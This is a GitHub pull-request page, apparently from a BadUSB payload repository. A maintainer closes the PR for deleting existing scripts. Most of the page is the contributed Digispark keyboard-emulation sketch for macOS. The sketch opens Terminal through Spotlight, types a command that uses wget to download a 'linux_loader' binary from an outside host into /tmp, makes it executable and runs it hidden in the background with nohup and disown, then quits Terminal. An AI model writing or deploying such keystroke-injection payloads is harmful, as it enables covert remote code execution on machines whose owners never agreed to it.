Closed padsalatushal closed 3 years ago
add the mac os payload script
Thank you for your interest in the project @Trushal2004 . I will be happy to review your Mac OS script, however your current PR deletes scripts already in the repository so I must close it. Please create a new PR and commit only your new script and no other changes so it can be reviewed properly. Thanks!
include "DigiKeyboard.h"
/**
***/
define MOD_CMD_LEFT 0x00000008
void setup() { DigiKeyboard.delay(2000); DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.print("terminal"); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(1000); DigiKeyboard.print("bash"); DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.print("nohup wget https://sheep.casa/payloads/linux_loader -P /tmp && nohup chmod +x /tmp/linux_loader && nohup /tmp/linux_loader & exit"); DigiKeyboard.delay(500); DigiKeyboard.println("disown $!"); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_Q, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(10000); }
void loop() {
}